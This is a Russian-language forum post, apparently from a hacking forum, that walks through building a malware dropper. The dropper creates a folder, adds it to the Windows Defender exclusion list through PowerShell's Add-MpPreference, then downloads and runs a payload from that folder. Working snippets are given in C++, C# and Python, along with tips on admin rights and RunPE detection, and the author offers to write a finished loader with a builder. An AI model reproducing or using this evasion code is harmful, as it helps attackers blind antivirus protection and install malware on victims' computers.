Как добавить путь в исключение Windows Defender? Создаем дроппер с "обходом WinDef"

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Предысторией идеи написать этот топик послужила тема с продажей dropper-а, который выключает Windows Defender перед тем, как загружает и запускает какой-либо исполняемый файл. Все бы ничего, есть продукт и есть, но цена в три тысячи долларов...?

В этой статье я просто вставлю вырезки (сниппеты) кода, которые помогут вам написать свой такой лоадер без каких либо проблем

Как это будет работать?
Вы запускаете свой лоадер/дроппер, он не отключает Windows Defender, ибо появится соответствующее уведомление, а добавляет путь в исключение, по которому вы далее записываете свой исполняемый файл и запускаете его оттуда

Какая поочередность выполняемых лоадером действий?
  1. Первая функция: создание папки по какому нибудь незамысловатому пути (например, %appdata%/XSSfolder)
  2. Вторая функция: выполнение функции AddExclusion, указав путь созданный только что (сниппет функции AddExclusion я прикреплю ниже)
  3. Скачка/дроппинг вашего исполняемого файла по пути, который вы создали и добавили в исключение
Ниже предоставлен пример функции AddExclusion на трех языках: С++, C#, Python. Функция принимает string с путем, например: C://Program Files//XSSProgram

Технические нюансы
  • Требуются права администратора, ибо в примерах powershell вызывается от имени администратора, без которых нельзя добавить путь в исключение
  • Runtime детекты будут распространяться на RunPE лоадеры/дропперы. Если вы криптуете ваш .exe файл методом RunPE, то запуская его по пути, добавленному в исключение, детект будет. Запускать .exe нужно строго с этого пути
Если вам нужен готовый исходный код лоадера/дроппера, то прошу отписать вас в тему о вашем желании, постараюсь быстренько реализовать готовый вариант с исходным кодом и удобным билдером

C++: Скопировать в буфер обмена
Код:
#include <iostream>
#include <Windows.h>

void addExclusion(const std::wstring& path) {
    std::wstring powerShellScript = L"Add-MpPreference -ExclusionPath '" + path + L"'";

    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    CreateProcess( NULL, (LPWSTR)L"powershell.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

    HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE);
    DWORD bytesWritten;
    WriteFile(hStdIn, powerShellScript.c_str(), powerShellScript.size() * sizeof(wchar_t), &bytesWritten, NULL);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}
C#: Скопировать в буфер обмена
Код:
using System;
using System.Diagnostics;

public static class WinDefExclusion
{
    public static void AddExclusion(string path)
    {
        string powerShellScript = @$"Add-MpPreference -ExclusionPath '{path}'";

        Process process = new Process();
        ProcessStartInfo startInfo = new ProcessStartInfo()
        {
            FileName = "powershell.exe",
            RedirectStandardInput = true,
            RedirectStandardOutput = true,
            UseShellExecute = false,
            CreateNoWindow = true,
            Verb = "runas"
        };

        process.StartInfo = startInfo;
        process.Start();
        process.StandardInput.WriteLine(powerShellScript);
        process.StandardInput.Flush();
        process.StandardInput.Close();
        process.WaitForExit();
        process.Close();
    }
}
Python: Скопировать в буфер обмена
Код:
import subprocess

def add_exclusion(path):
    power_shell_script = f"Add-MpPreference -ExclusionPath '{path}'"

    process = subprocess.Popen(["powershell.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    stdout, stderr = process.communicate(input=power_shell_script.encode())
    process.wait()
 
Сверху Снизу